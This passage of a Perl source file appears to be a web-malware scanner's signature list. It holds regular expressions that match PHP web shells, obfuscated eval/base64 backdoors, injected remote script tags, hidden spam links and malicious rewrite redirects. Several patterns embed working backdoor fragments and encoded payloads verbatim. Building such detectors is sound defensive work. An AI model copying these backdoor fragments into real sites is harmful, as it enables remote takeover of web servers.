17\),serialize\(array\(_1342165178\(18\),_1342165178\(19\),_1342165178\(20\),_1342165178\(21\),_1342165178\(22\),_1342165178\(23\),_1342165178\(24\),_1342165178\(25\
    qr/<\?php\s+?eval\(base64_decode\(\$_POST\['php'\]\)\);\s+?\?>/is,
    qr/<\?php\s+?\$fljjtqkvhd\s+?=\s+?'x5c\%x7825w\%x5c\%x7860TW~\%x5c\%x7824<\%x5c\%x78e\%x5c\%x78b\%esp>hmg\%x5c\%x7825\!<12>j\%x5c\%x7825\!\|\!\*\#91y\]c9y\]g2y\]\#>>\*4-1-bubE\{h\%x5c\%xn\+qsvmt\+fmhpph\#\)zbssb\!-\#\}\#\)fepmqnj\!\%x5c\%x782f\!\#0\#\)idubn\%x5c\%x78bs\+yfeobz\+sfwjidsb\%x5c\%x7860bj\+upcot472\]37y\]672\]48y\]\#>s\%x5c\%x7825<\#462\]47y\]252\]18y\]\#>q\%72\]254\]y76\#<\%x5c\%x7825tmw\!>\!\#\]y84\]275\]y83\]27-\%x5c\%x7825hOh\%x5c\%x782f\#00\#W~\!\%x5c\%x7825t2w\)\#\#\]281Ld\]245\]K2\]285\]Ke\]53Ld\]53\]Kc\]55Ld\]55\#\*<\%x5c\%x7825bGFI,6<\*127-UVPFNJU,6<\*27-SFGTOBSUOSVUFS,6<\*msv\%x5c\%xc\%x7825\)s\%x5c\%x7825>\%x5c\%x782fx5c\%x7825:<\#64y\]552\]e7152\%x66\%147\%x67\%42\%x2c\%163\%x74\%162\%x5f\%163\%x70\%15x7825bT-\%x5c\%x7825hW~\%x5c\%x7825fdy\)24y4\%x5c\%x7824-\%x5c\%x7824\]y8\%x5c\%x7824-\%x5c\%x7824\]26\%x5c\%x78\%x7825\!\*3\!\%x5c\%x7827\!hmg\%x5c\%x7825\!\)\!gj\!<2,\*j\%x5c\%x7825\!-\#1\]\#-bux5c\%x787f\!>>\%x5c\%x7822\!pd\%x5c\%x7825\)\!gj\}Z;h\!opjudovg\}\{;\#\)tutjyf\%x5c\%-2qj\%x5c\%x78257-K\)udfoopdXA\%x5c\%x7822\)7gj6<\*QDU\%x5c\%x7860MPT7-NBFSU3\]83\]238M7\]381\]211M5\]67\]452\]88\]5\]48\]32M3\]317\]445\]21fs\%x5c\%x78256~6<\%x5c\%x787fw6<\*K\)ftpmdXA6\|7\*\*1972f\#0\#\%x5c\%x782f\*\#npd\%x5c\%x782f\#\)rrd\%x5c\%x782f\#00;quuig\!>\!\#\]y81\]273\]y76\]258\]y6g\]273\]y76\]271\]y7d\]252\]yK\)fujs\%x5c\%x7878X6<\#o\]o\]Y\%x5c\%x78257;utpI\#7>\%x5c\%x782f7rfs\%x5\%x7825>U<\#16,47R57,27R66,\#\%x5c\%x782fq\%x5c\%5c\%x7824-\%x5c\%x7824\!>\!fyqmpef\)\#\%x5c\%x7824\*ULL\);\s+?\}\}\%x5c\%x7827;mnui\}\&;zepc\}A;~\!\}\%x5c\%x787f;\!\|\!\}\{;\)gj\}l;33bq\}k;opjudovg\}\%xd\]252\]y74\]256\]y39\]252\]y83\]273\]y72\]282\#<\!\%x5c\%x7825tjw\!>\!\#\]y84\]275\]y8cd2bge56\+99386c6f\+9f5d816:\+946:ce44\#\)zbssb\!>\!ssbnpe_GMFT\%x5c\%x784\%x69\%164\%50\%x22\%134\%x78\%62\%x35\%165\%x3a\%146\%x21\%76\%x21\%50\%x5c\%x7782f\%x5c\%x7825z<jg\!\)\%x5c\%x7825z>>2\*\!\%x5c\%x7825zx7825j:\^<\!\%x5c\%x7825w\%x5c\%x7860\%x5c\%x785c\^>E24gps\)\%x5c\%x7825j>1<\%x5c\%x7825j=tj\{fpg\)\%x5c\%x7825\%x5c\%x7824-\%x5c\%x78c\%x7825b:<\!\%x5c\%x7825c:>\%x5c\%x7825s:\%x5c\%x785c\%x5c\%M5\]DgP5\]D6\#<\%x5c\%x7825fdy>\#\]D4\]273\]x5c\%x7825mm\)\%x5c\%x7825\%x5c\%x7878:-\!\%x5c\%x78<\*Y\%x5c\%x7825\)fnbozcYufhA\%x5c\%x78272qj\%x5c\%x782565r\%x5c\%x7878B\%x5c\%x7825h>\#\]y31\]278\]y3e\]81\]K78:56985:6197g:74985-rr\{hnpd\#\)tutjyf\%x5c\%x7860opjudovg\%x5c\%x7822\)\!gj\}1~\!<2p\%x5c\%x78825b:>1<\!fmtf\!\%x5c\%x7825b:>\%x5c\%x7825s:\%x5c\%x785c\%x5c\%x7825j:\.2\^,\%x5jsv\%x5c\%x78256<C>\^\#zsfvr\#\%x5c\%x785cq\%x5c\%x782782400~:<h\%x5c\%x7825_t\%x5c\%x7825:osvufs:~:<\*9-1-r\%x5-\!\#~<\#\%x5c\%x782f\%x5c\%x7825\%xD6P2L5P6\]y6gP7L6M7\]D4\]275\]D:M8\]Df\#<\%eplace\("\%x2f\%50\%x2e\%52\%x29\%57\%x65","y\]\#>n\%x5c\%x7825<\#372\]58y\]h\%x5c\%x7825\)sutcvt\)fubmgoj\{hA\!osvufs\!~<3,j\%x5c\%x7825>j\%x5c\%x5c\%x7825ff2\!>\!bssbz\)\%x5c\%x7824\]25\%x5c\%x6<\%x5c\%x787fw6\*3qj\%x5c\%x78257>\%x5c\%x782272qj\%x5c\%x7825\)7gjbmgoj\{h1:\|:\*mmvo:>:iuhofm\%x5c\%x7825:-5ppde:4:\|:\*\*\#ppde\#\)tutjyd7R17,67R37,\#\%x5c\%x782fq\%x5c56<C\%x5c\%x7827pd\%x5c\%x78256\|6\.7eu\{66~67<\&w6<\*\&7-\#o\]s\]o\]s\]\#\)825\)euhA\)3of>2bd\%x5c\%x7825\!<5h\%x5c\%x7825\%x5c\%x78>3<\!fmtf\!\%x5c\%x7825z>2<\!\%x5c\%x7825ww2\)\%tpqsut>j\%x5c\%x7825\!\*9\!\%x5c\%x7827\!hmg55946-tr\.984:75983:48984:71\]K9\]77\]D4\]82\]K6\]72\]K9\]78\]K5\]53\]Kc\+opjudovg\+\)\!gj\+\{e\%x5c\%x7825\!bek\!~\!<b\%x5c\%x7825\%x5c\%x787f\!<X>b\%x5c\%x7825Z<\#opo\#>b\%x5c\%x7825f\%x5c\%x78604\%x5c\%x78223\}\!\+\!<\+\{e\%x5c\%x7825\+\*\!\*\+fepdfe\{h\+\{d\%x5c\%x7825\)7825\)m\%x5c\%x7825\):fmji\%x5c\%x7878:<\#\#:>:h\%\%x5c\%x7827,\*d\%x5c\%x7827,\*c\%x5c\%x7827,\*b\%x5c\%x7827\)fepdof\.\]y33\]65\]y31\]53\]y6d\]281\]y43\]78\]y33\]65\]y31\]55\]y85\]82\]825-bubE\{h\%x5c\%x7825\)sutcvt-\#w\#\)ldbqov>\*oftus\%x5c\%x7860sfqmbdf\)\%x5c\%x7825\%x5c\%x7824-\%x5c\%x78gvc\%x5c\%x7825\}\&;ftmbg\}\%x5c\%x787f;\!osvufs\}w;\*\%6<\*\*2qj\%x5c\%x7825\)hopm3qjA\)qj3hopmA\%x5c\%x78273qj\%x5c\%x78256>1<\!gps\)\%x5c\%x7825j:>1<\%x5c\%x7825j:=tj\{fpg\)\%x5c\%x7825s:\*827pd\%x5c\%x78256<pd\%x5c\%x7825w6Z6<\.2\%x5c\%x7860hA
    qr/eval\(base64_decode\('aWYoaXNzZXQoJF9SRVFVRVNUWydjaCddKSAmJiAobWQ1KCRfUkVRVUVTVFsnY2gnXSkgPT0gJzhmYTM4ODVlZmFkMDk3ZTI0NWIyNTU1ZTlmNGZjZTI3JykgJiYgaXNzZXQoJF9SRVFVRVNUWydwaHBfY29kZSddKSkgeyBldmFsKCRfUkVRVUVTVFsncGhwX2NvZGUnXSk7IGV4aXQoKTsgfQ=='\)\);/is,
    qr/<\?php\s+?eval\(base64_decode\(\$_POST\['ndfbe75'\]\)\);\?>/is,
    qr/\/\.\*\/eeval\(base64_decode\('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='\)\);/is,
    qr/<\?php\s+?eval\(base64_decode\('IGlmIChpc19maWxlKCcvaG9tZS9wcmluYzExL3B1YmxpY19odG1sL2Jvbm5haWdsYXcuY29tL3dwLWFkbWluL2Nzcy9waHA1LnBocCcpKSBAaW5jbHVkZSgnL2hvbWUvcHJpbmMxMS9wdWJsaWNfaHRtbC9ib25uYWlnbGF3LmNvbS93cC1hZG1pbi9jc3MvcGhwNS5waHAnKTs='\)\);\?>\s+?/is,
    qr/<\?php\s+?\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x68u\\x77\\x69\\x76\\x63\\x61\\x71wk\\x79\\x79"\]="ips";\$\{"GL\\x4f\\x42A\\x4c\\x53"\}\["\\x77eb\\x7aj\\x75q\\x62\\x64l\\x74"\]="\\x69\\x70";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x70\\x76gw\\x69\\x6e\\x69"\]="re\\x66e\\x72\\x65\\x72";\$\{"G\\x4c\\x4f\\x42A\\x4cS"\}\["\\x74\\x64xbe\\x70\\x66\\x73"\]="f\\x75\\x6ec";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x67rej\\x72\\x67\\x63z"\]="h";\$\{"\\x47L\\x4fB\\x41\\x4cS"\}\["\\x69\\x6afg\\x70x\\x74i\\x68\\x77\\x6f"\]="f\\x70";\$\{"G\\x4c\\x4f\\x42AL\\x53"\}\["\\x6djqj\\x6fx\\x71\\x72uw\\x65"\]="\\x68_\\x64\\x65t\\x65\\x63\\x74\\x65d";\$\{"G\\x4cOBALS"\}\["\\x63\\x6e\\x76\\x73\\x6d\\x72\\x69\\x6e\\x6e\\x66z\\x72"\]="\\x68eade\\x72s";\$\{"GL\\x4fB\\x41\\x4c\\x53"\}\["z\\x78\\x72\\x6f\\x71ppm"\]="r\\x65\\x73";\$\{"\\x47LOBA\\x4c\\x53"\}\["\\x78\\x69\\x7a\\x66\\x6d\\x6d\\x6bw"\]="\\x64\\x61\\x74a";\$\{"\\x47\\x4c\\x4f\\x42AL\\x53"\}\["\\x6c\\x75d\\x64\\x68\\x6a\\x6c\\x70\\x63\\x6b"\]="v";\$\{"GL\\x4f\\x42\\x41\\x4cS"\}\["c\\x68\\x6d\\x6e\\x6a\\x78o\\x6c\\x74w"\]="k";\$\{"\\x47\\x4c\\x4fBA\\x4c\\x53"\}\["\\x70\\x6b\\x73\\x65fj\\x75\\x79y\\x6fs"\]="\\x63o\\x6f\\x6b\\x69\\x65";\$\{"\\x47L\\x4f\\x42\\x41\\x4cS"\}\["\\x62xy\\x72\\x6f\\x6b\\x6b\\x71h"\]="re\\x71\\x75e\\x73t";\$\{"GLOBA\\x4cS"\}\["w\\x72\\x74\\x70\\x6c\\x73b"\]="\\x65\\x72\\x72\\x6eo";\$\{"\\x47L\\x4f\\x42A\\x4cS"\}\["\\x76\\x65oof\\x70vr\\x63"\]="\\x73\\x63\\x68\\x65\\x6d\\x65";\$\{"\\x47LOBAL\\x53"\}\["\\x6b\\x68t\\x69\\x65g\\x6d"\]="\\x74i\\x6deout";\$\{"G\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x63\\x68\\x70\\x75\\x62z\\x69q\\x79\\x76rj"\]="p\\x61\\x72a\\x6d\\x73";\$\{"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x68d\\x6c\\x69\\x6c\\x6d\\x6b"\]="typ\\x65";\$\{"\\x47\\x4cOB\\x41\\x4c\\x53"\}\["d\\x68\\x78sg\\x64\\x68v\\x64\\x68\\x66\\x6c"\]="\\x66\\x69\\x6c\\x65n\\x61\\x6de";\$\{"\\x47\\x4c\\x4fBAL\\x53"\}\["\\x68\\x6b\\x6df\\x6akt"\]="u\\x72l";\$\{"\\x47LO\\x42\\x41L\\x53"\}\["od\\x69gn\\x6d\\x65\\x66"\]="\\x71\\x75\\x65\\x72y";\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x79\\x62\\x6a\\x66i\\x66l\\x6ejcv"\]="pa\\x74\\x68";\$\{"\\x47\\x4c\\x4f\\x42\\x41\\x4cS"\}\["\\x68\\x72q\\x74\\x78f"\]="p\\x6fr\\x74";\$shacohpm="\\x75\\x72\\x6c";\$\{"G\\x4c\\x4f\\x42\\x41\\x4cS"\}\["\\x6e\\x79\\x78\\x71o\\x71\\x69t\\x73\\x79\\x70h"\]="\\x63o\\x6eten\\x74";\$\{"G\\x4c\\x4fBALS"\}\["\\x73\\x73f\\x68\\x6ay"\]="\\x6bey";\$\{"G\\x4cOB\\x41\\x4c\\x53"\}\["w\\x66\\x6d\\x6djo\\x66\\x63\\x68z"\]="l\\x65\\x74\\x74\\x65\\x72";\$\{"GL\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x63ytj\\x72g\\x6b"\]="\\x66il\\x65\\x6ea\\x6de";\$ckrieemlnceu="que\\x72y";\$\{"GL\\x4f\\x42\\x41L\\x53"\}\["\\x71mrs\\x74s\\x6b\\x72\\x69\\x78\\x78"\]="\\x69";\$\{"G\\x4c\\x4fBA\\x4cS"\}\["\\x6dmor\\x6c\\x73b"\]="\\x6b\\x65\\x79";error_reporting\(0\);\$\{"G\\x4c\\x4f\\x42A\\x4cS"\}\["\\x63\\x65\\x6ab\\x67f\\x62"\]="\\x63\\x6f\\x6et\\x65\\x6e\\x74";ini_set\("\\x64i\\x73play\\x5f\\x65rr\\x6f\\x72\\x73",0\);\$wrlmzibel="\\x6be\\x79";\$qsrgfqqt="\\x70\\x61\\x74h";\$ymetmsampeo="k\\x65\\x79";\$\{\$ymetmsampeo\}=0;\$\{"G\\x4c\\x4f\\x42\\x41\\x4cS"\}\["m\\x73\\x62q\\x77\\x6cml\\x61ajm"\]="k\\x65\\x79";\$aujkdfbhpz="\\x71\\x75\\x65r\\x79";\$\{\$\{"\\x47\\x4c\\x4fBALS"\}\["qm\\x72\\x73t\\x73\\x6br\\x69\\x78x"\]\}=0;\$umfbxhduyo="\\x69p";\$\{"G\\x4c\\x4fB\\x41\\x4cS"\}\["u\\x77\\x79\\x71\\x6d\\x73\\x69\\x76\\x72"\]="\\x6bey";\$tkckivsitj="i\\x70";foreach\(str_split\(\$_SERVER\["\\x52EQ\\x55E\\x53T_\\x55R\\x49"\]\)as\$\{\$\{"\\x47\\x4cOBALS"\}\["\\x77fmm\\x6ao\\x66\\x63h\\x7a"\]\}\)\{\$rptcjic="\\x69";\$\{\$\{"\\x47L\\x4fB\\x41\\x4c\\x53"\}\["\\x73\\x73\\x66\\x68\\x6a\\x79"\]\}\+=ord\(\$\{\$\{"G\\x4cOBA\\x4c\\x53"\}\["\\x77\\x66\\x6dmj\\x6ff\\x63\\x68\\x7a"\]\}\);\$\{\$rptcjic\}\+\+;\}\$ilqsxkyeof="\\x71\\x75\\x65\\x72y";if\(\!\(\$\{\$\{"G\\x4cO\\x42\\x41LS"\}\["q\\x6dr\\x73t\\x73k\\x72i\\x78\\x78"\]\}\/10\)\)\{\$pfhzdkdejv="\\x69";\$\{\$pfhzdkdejv\}\(\);exit\(\);\}\$\{\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["\\x75\\x77\\x79q\\x6d\\x73\\x69\\x76\\x72"\]\}\^=\$\{\$\{"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x73\\x73\\x66\\x68jy"
    qr/<script\s+?language=\"javascript\"\s+?src=\"http:\/\/facenama.com\/popup.php\?u=.+?\"><\/script>/is,
    qr/<\?php\s+print.+?\$uploadfile\s+=\s+\$uploaddir\s+.\s+basename\(\$_FILES\[\'upload\'\]\[\'name\'\]\);.+?<\/H1><br>\';\s+\}\s+\?>/is,
    qr/<\?php\s+error_reporting\(0\);\s+if\s+\(isset\(\$_REQUEST\[\'mode\'\]\)\)\s+\{\$mode=\$_REQUEST\[\'mode\'\];\}\s+if\s+\(\$mode==\'check\'\)\s+\{\s+echo\s+\"good\";.+?else\{echo\s+\"all\s+NOT\s+ok\s+\-\s+image\!\";\s+\}\s+\}\s+\?>/is,
    qr/<\?\$tds=\"http:\/\/.+?\{echo\s+\$x;\}\?>/is,
    qr/<\?php\s+\$to\s+=\s+stripslashes\(\$_POST\[.+?\'error\s+\:\s+\'.\$result;\s+\}\s+\?>/is,
    qr/<\?php\s+\$auth_pass\s+=\s+\".+?FilesMan.+?\);\?>/is,
    qr/<\?php\s+\$\{\".+?\(\$_COOKIE,\$_POST,\$_FILES\);foreach\(\$\{\$\{\".+?\(\);\}\s+\?>/is,
    qr/<\?php\s+\$\{\"\.+?;\$\{\"GLOBALS\"\}\[\".+?fm_action\"\]\)\&\&is_good_ip\(\$_SERVER\[\".+?\"\]\)\)\{eval\(base64_decode\(\$_POST\[\".+?\"\]\}=\@unserialize\(base64_decode\(\$_POST\[\".+?\"\]\};\}\s+\?>/is,
    qr/<\?php\s+\$urls\s+=\s+array\s+\(\s+'http:\/\/.+?\$rand_url;\?>\s+\">/is,
    qr/<\?php\s+\$auth_pass\s+=\s+\".+?FilesMan.+?preg_replace\(\"\/\.\*\/e\",\"\$source\",\"\.\"\);\s+\?>/is,
    qr/<\?php\s+session_start\(\);\s+echo\s+ini_get\(\'session.gc_maxlifetime\'\);.+?\$acces\s+=\s+urldecode\(\$_POST\[\"pass\"\]\).+?\)\",\".\"\);/is,
    qr/<\?php\s+\$auth_pass\s+=\s+\".+?FilesMan.+?call_user_func\(\'action\'\s+.\s+\$_POST\[\'a\'\]\);\s+exit;/is,
    qr/<\?php\s+\@\$action=\$_POST\[\'action\'\];.+?print\s+\"Sending.+?<html>/is,
    qr/<\?php\s+\@error_reporting\(0\);.+?elseif\s+\(\!in_array\(\'pfsockopen\',.+?.=\s+chr\(ord\(\$.+?;\s+\}\s+\?>/is,
    qr/<\?php\s+eval\s+\(base64_decode\s+\(\"aWYgKGlzc2V0KCRfUkVRVUVTVFsnbW9yZTc3NyddKSkgeyBldmFsKHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ21vcmU3NzcnXSkpOyBleGl0OyB9LyogRG5mQ0QxUlNHNmtEOCAqLw==\"\)\);\s+\?>/is,
    qr/<\?\s+\$GLOBALS\[\'_.+?\_\'\]=Array\(base64_decode\(\'.+?\"\]\)\);\};\s+\?>/is,
    qr/<\?php\s+error_reporting\(0\);echo\(pack\(\'H\*\',\'.+?\'\)\);\s+\?>/is,
    qr/<\?php\s+\/\*versio:b.01\*\/\s+\$GLOBALS\[\".+?\-1;\s+\?>/is,
    qr/<\?php\s+\$([A-z0-9]{10})\s+=\s+\'.+?\-1;\s+\?>/is,
    qr/<\?php\s+\$([A-z0-9]{10})\s+=\s+\'.+?\"\)\s+\&\&\s+\(\!isset\(\$GLOBA\/\(\.\*\)\/epreg_replace.+?\)\);\};\?>/is,
    qr/<\?php\s+\$([A-z0-9]{10})\s+=\s+\'.+?\/\(\.\*\)\/epreg_replace.+?\-1;\s+\?>/is,
    qr/<\?php\s+\/\*versio\:b\.01\*\/.+?\)\);\};\?>/is,
    qr/########GET#######\s+RewriteEngine\s+on\s+RewriteCond\s+\%\{HTTP\_USER\_AGENT\}\s+acs\s+\[NC,OR\].+?\.ru\s+\[L,R=302\]/is,
    qr/<iframe\s+src=\"http\:\/\/adv-inc-net\.com\/trackingcode\/tracker\.html\"\s+width=640\s+height=480\s+style=\'position\:\s+absolute;\s+left:\s+\-1000px;\s+top:\s+\-1000px;\s+z\-index:\s+1;\'><\/iframe>/is,
    qr/\/\*ordpr\*\/\s+\@ini_set\(\'display_errors\',\s+\'0\'\);\s+ob_start\(\'__e_accelerate\'\);.+?\(\'<\!\-\-ch\'.\'eck\-\->\'\)\:\(\'\'\)\)\.\$output;\}/is,
    qr/<\?php\s+\$post_var\s+=\s+\"req\";\s+if\(isset\(\$_REQUEST\[\$post_var\]\)\)\s+\{\s+eval\(stripslashes\(\$_REQUEST\[\$post_var\]\)\);\s+exit\(\);\s+\};\s+\?>/is,
    qr/<\?php\s+.+?=\s+array\(\'.+?=\s+array\(\'.+?=\s+array\(\'.+?\);\}\?>/is,
    qr/<\?php\s+\$.+?=\'ba\'.\'se64\'.\'_de\'.\'code\';eval\(\$.+?\"\)\);/is,
    qr/<\?php\s+\$SERVER_UNIQUE_LOAD_BALANCE\s+=\s+strrev\(\".+?\"\),\$SERVER_UNIQUE_LOAD_BALANCE\(current\(\$_REQUEST\)\)\);/is,
    qr/<\?php\s+eval\(base64_decode\(\"CiRhdXR.+?\"\)\);\s+\?>/is,
    qr/<\?php\s+eval\(base64_decode\(\$_POST\[\'n440036\'\]\)\);\?>/is,
    qr/<\?php\s+if\s+\(isset\(\$_REQUEST\[\'lala\'\]\)\)\s+\{.+?Upload\s+Fail\s+\!\!\!<\/b><br><br>\';\s+\}\s+\}\s+\}\s+\?>/is,
    qr/<\?php\s+if\s+\(\!isset\(\$sRetry\)\)\s+\{\s+global\s+\$sRetry;\s+\$sRetry\s+=\s+1;.+?curl_close\(\$stCurlHandle\);\s+\}\s+\}\s+\?>/is,
    qr/<\?php\s+\$auth_pass\s+=\s+\".+?preg_replace\(\".+?\);\?>/is,
    qr/<\?php\s+\$auth_pass\s+=\s+\".+?FilesMan.+?exit;/is,
    qr/<\?php\s+header\(\".+?\@system\(\"killall\s+\-9\s+\"\.basename\(\"\/usr\/bin\/host\"\)\);.+?\@system\(\"\.\/1\.sh\"\);\s+\?>/is,
    qr/<\?php\s+\/\*\*\s+\*\s+\@package\s+Joomla\.Plugin\s+\*\s+\@since\s+1\.5\s+\*\/\s+class\s+PlgSystemJoomla\s+\{.+?PlgSystemJoomla;/is,
    qr/<\?php\s+if\(isset\(\$_REQUEST\[\"comment\"\]\)\)\s+\{\s+eval\(base64_decode\(\$_REQUEST\[\"comment\"\]\)\);\s+exit;\s+\}\s+else\s+\{\s+die\(\"404\s+Not\s+Found\"\);\s+\}\?>/is,
    qr/<script\s+type=\"text\/javascript\"\s+src=\"http:\/\/imamasim\.com\/modules\/mod_modules\/jquery\-update\.php\"><\/script><script\s+type=\"text\/javascript\"\s+src=\"http:\/\/sem\-dv\.ru\/jquery\-update\.php\"><\/script>/is,
    qr/#\s+Netscape.+?<\?eval\(stripslashes\(array_pop\(\$_POST\)\)\)\?>.+?/is,
    qr/utopld3\s+<\?php\s+if\(\@md5\(\$_POST\[\"gif\"\]\)\s+===.+?\)\s+\{\s+eval\s+\(base64_decode\(\$_POST\[.+?\]\)\);\s+exit;\s+\}\s+\?>/is,
    qr/<\?php\s+\$post_var\s+=\s+\"req\";\s+if\(isset\(\$_REQUEST\[\$post_var\]\)\)\s+\{\s+eval\(stripslashes\(\$_REQUEST\[\$post_var\]\)\);\s+exit\(\);\s+\};\s+\?>/is,
    qr/<\?php\s+eval\(base64_decode\(\$_POST\[\'nf37d8c\'\]\)\);\?>/is,
    qr/<script\s+id=\'c1BB15E75D909625AEB912\'>.+?document\.write\(c11dc41d7AD158A98CE14844ED0F8\);\s+<\/script>/is,
    qr/<\?php\s+\#076079\#.+?\#\/076079\#\s+\?>/is,
    qr/<script>eval\(\s+unescape\(\s+\"\%6\"\+\"9\%6\"\+\"6\".+?\+\"5\%3b\"\s+\)\);<\/script>/is,
    qr/<\!\-\-5ca518\-\-><script\s+type=\"text\/javascript\"\s+src=\"http:\/\/www\.mediatronics\.co\.in\/design\/.+?><\/script><\!\-\-\/5ca518\-\->/is,
    qr/\#6eeba7\#.+?\#\/6eeba7\#/is,
    qr/<\?xml\s+version=\"1\.0\".+?content=\"HTML\s+Tidy.+?content=\"W3C\,.+?<\/html>/is,
    qr/<u\s+style=\"position\:\s+absolute;\s+left:\s+\-5000px;.+?<\/div>/is,
    qr/<u\s+style=\"position\:\s+absolute;\s+left:\s+\-5000px;.+?<\/u>/is,
#    qr/<u\s+style=\"position\:\s+absolute;\s+left:.+?<\/u>/is,
    qr/<html>.+?<title>Google.+?<\/html>/is,
#    qr/<div\s+style=\"position:\s+absolute;.+?<\/div>/is,
#    qr/<u\s+style=\"position:\s+absolute;.+?<\/u>/is,
    qr/<\?php\s+\$zend\_framework\=\"\\x63.+?V1J2WTJWa/is,
    qr/<\?php\s+if\s+\(isset\(\$_REQUEST\[\'.+?Upload\s+Fail\s+\!\!\!<\/b><br><br>\';\s+\}\s+\}\s+\}\s+\?>/is,
    qr/<script\s+language=\"JavaScript\">\s+function\s+xViewState\(\).+?xViewState\(\);\s+<\/script>/is,
    qr/<\!--start-add-div-content-->.+?<\!--end-add-div-content-->/is,
    qr/<\?php\s+eval\(gzinflate\(base64_decode\(\'pRn9.+?\'\)\)\);\?>/is,
    qr/<\?\s+\$GLOBALS\[\'_([0-9]{9})_\'\]=Array\(base64_decode\(\'\'.+?\{echo\s+l__2\(\$_1\);\}\}\}/is,
    qr/<\?\s+\$GLOBALS\[\'_([0-9]{9})_\'\]=Array\(base64_decode\(\'.+?round\(0\+507\.5\+507\.5\+507\.5\+507\.5\);\}/is,
    qr/<\!\-\-64cafd\-\-><script\s+type=\"text\/javascript\"\s+src=\"http\:\/\/unitedpathlabs\.com\/wp\-includes\/centr\.php.+?><\/script><\!\-\-\/64cafd\-\->/is,
    qr/<div\s+style=\"position:absolute;\s+left:\-192px;\s+top:\-198px;\">.+?<\/a><\/div>/is,
    qr/<script\s+type=\"text\/javascript\">\s+<\!\-\-\s+eval\(unescape\(\'\%66.+?unescape\(\'\%27\%29\%29\%3b\'\)\);\s+\/\/\s+\-\->\s+<\/script>/is,
    qr/<\?php\s+if\s+\(isset\(\$_GET\[\'jpg\'\]\)\)\s+\{\s+header\(.+?\/\'\);\s+exit\(\);/is,
    qr/<\?php\s+if\s+\(isset\(\$_POST\[\'check\'\]\)\).+?exit\(\'SEND\s+OK\'\);\s+\}/is,
    qr/<\?php\s+eval\(gzinflate\(base64_decode\(\'pRlrc9o69nN2Zv.+?coKAuLPBb48B8=\'\)\)\);\?>/is,
    qr/<\?php\s+\$l___l_=\'base\'.\(32\*2\).\'_de\'.\'code\';\$l___l_=\$l___l_\(str_replace\(.+?<\/form>/is,
    qr/<\?php\s+header\(\'Content-Type:\s+text\/html;\s+charset=windows-1251\'\);\s+set_time_limit\(0\);\s+\$shells\s+=\s+array\(\'c99\'.+?\?>/is,
    qr/<script>\s+<\?if\(\$_SERVER\[\'HTTP_USER_AGENT\'\]\s+==.+?<\?\}\?>\s+<\/script>/is,
    qr/\/\*\.\~\.\~\.\~\.\*\/.+?\/\*\.\~\.\~\.\~\.\*\//is,
    qr/<\?php\s+\/\*\*\s+\*\s+\@package.+?class\s+PlgSysJoomla\s+\{.+?\$index=new\s+PlgSysJoomla;/is,
    qr/<IfModule\s+mod_rewrite\.c>\s+RewriteEngine\s+On\s+RewriteCond\s+\%\{HTTP_REFERER\}\s+\^\.\*\(google\|ask\|yahoo.+?<\/IfModule>\s+ErrorDocument\s+404\s+http\:\/\/.+?sid=1/is,
#    qr/<\?php\s+if\(\!isset\(\$GLOBALS\[.+?\]\)\)\s+\{\s+\$ua=strtolower\(\$_SERVER\[.+?\]=1;\s+\}\s+\?>/is,
    qr/<\?php\s+\$sF=\"PCT4BA6ODSE_\";\$s21=strtolower\(.+?eval\(\$s21\(\$s22\)\);\}\?>/is,
    qr/eval\(base64_decode\(\"DQplcnJvcl.+?DQoJfQ0KfQ0KfQ==\"\)\);/is,
    qr/eval\(base64_decode\(\"DQ.+?==\"\)\);/is,
#    qr/<\?php\s+if\(\!function_exists\(\'.+?\'\]\)\)eval\(\$_POST\[\'.+?\(\);\s+\?>/is,
    qr/<div\s+style=\"position:absolute;\s+left:\-.+?viagra.+?<\/a><\/div>/is,
    qr/<script\s+language=\"javascript\"\s+type=\"text\/javascript\">var\s+_01O=\'KkSKpcCfngCd.+?eval\(_10I\(l00\(_01O\)\)\);<\/script>/is,
    qr/<\?php\s+echo\s+\'\$Word\'\.\'Press\s+\!\';\s+\$wp\s+=\s+\$_POST\[\"wp\"\];\s+if\s+\(get_magic_quotes_gpc\(\)\)\s+\{\s+\$wp=stripslashes\(\$wp\);\s+\}\s+if\s+\(isset\(\$_POST\[\"wp\"\]\)\)\s+file_put_contents\(\$_SERVER\[\"SCRIPT_FILENAME\"\]\,\'<\?php\s+\'\.\$wp\.\'\s+\?>\'\);\s+\?>/is,
    qr/<\?php\s+\$sF="\PCT4BA6ODSE_\";\$s21=strtolower\(\$sF.+?\{eval\(\$s21\(\$s22\)\);\}\?>/is,
    qr/RewriteCond\s+\%\{HTTP_USER_AGENT\}\s+android\s+\[NC,OR\].+?woffello.com\s+\[L,R=302\]/is,
    qr/<\?php\s+\/\/\@null\(base64_decode\(\"ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2JlbmVzMS9wdWJsaWNfaHRtbC9hZ3JpdHVyaXNtb2NvcnRldmVjY2hpYS93cC1hZG1pbi9pbWFnZXMvbWFnaWMuanBnIik7cmV0dXJuICgkY2hlZSk7fW9iX3N0YXJ0KCJjYWxsYmFjayIpOw==\"\)\);\s+\/\/\?>/is,
    qr/<\?php\s+\$.+?=\'.+?\'.\s+\'.+?\'.\s+\'.+?\'.\s+\'.+?\'.\s+\'.+?\'.\s+\'.+?\'.\s+\'.+?\'.\s+\'.+?\';/is,
    qr/<\?php\s+\$user_agent_to_filter\s+=\s+array\(\s+\'\#Ask.+?domain=\$_SERVER\[HTTP_HOST\]\"\);\s+exit;\s+\}\s+\?>/is,
#    qr/<\?.+?\'FilesMan\';.+?\?>/is,
#    qr/<\?php\s+if\(isset\(\$_POST\[\"mailto\"\]\)\).+?echo\s+\"sent_error\";\s+\?>/is,
